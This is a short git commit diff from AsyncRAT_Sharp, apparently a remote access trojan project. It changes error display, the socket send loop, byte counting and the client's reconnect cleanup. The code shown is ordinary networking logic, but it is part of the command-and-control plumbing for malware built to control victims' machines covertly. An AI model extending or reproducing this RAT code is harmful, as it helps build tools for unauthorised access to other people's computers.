This commit is contained in:
NYAN CAT 2019-01-27 08:17:14 -08:00
parent 9ffc26992c
commit 0fcbc94b69
3 changed files with 15 additions and 7 deletions

View File

@ -80,7 +80,10 @@ namespace AsyncRAT_Sharp
} }
} }
} }
catch { } catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
} }
} }

View File

@ -6,6 +6,7 @@ using System.Windows.Forms;
using AsyncRAT_Sharp.Handle_Packet; using AsyncRAT_Sharp.Handle_Packet;
using Microsoft.VisualBasic; using Microsoft.VisualBasic;
using System.Diagnostics; using System.Diagnostics;
using System.Threading.Tasks;
namespace AsyncRAT_Sharp.Sockets namespace AsyncRAT_Sharp.Sockets
{ {
@ -129,8 +130,13 @@ namespace AsyncRAT_Sharp.Sockets
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0)); byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0));
await MS.WriteAsync(buffersize, 0, buffersize.Length); await MS.WriteAsync(buffersize, 0, buffersize.Length);
await MS.WriteAsync(buffer, 0, buffer.Length); await MS.WriteAsync(buffer, 0, buffer.Length);
Client.Poll(-1, SelectMode.SelectWrite); while (!(Client.Poll(-1, SelectMode.SelectWrite)))
Client.BeginSend(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None, EndSend, null); {
await Task.Delay(100);
if (!Client.Connected) Disconnected();
}
Client.BeginSend(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None, EndSend, null);
Settings.Sent += (long)MS.Length;
} }
} }
catch catch
@ -144,8 +150,7 @@ namespace AsyncRAT_Sharp.Sockets
{ {
try try
{ {
int Sent = Client.EndSend(ar); Client.EndSend(ar);
Settings.Sent += Sent;
} }
catch catch
{ {

View File

@ -87,11 +87,11 @@ namespace Client
Client.Close(); Client.Close();
Client.Dispose(); Client.Dispose();
} }
MS?.Dispose();
} }
catch { } catch { }
MS?.Dispose();
InitializeClient(); InitializeClient();
} }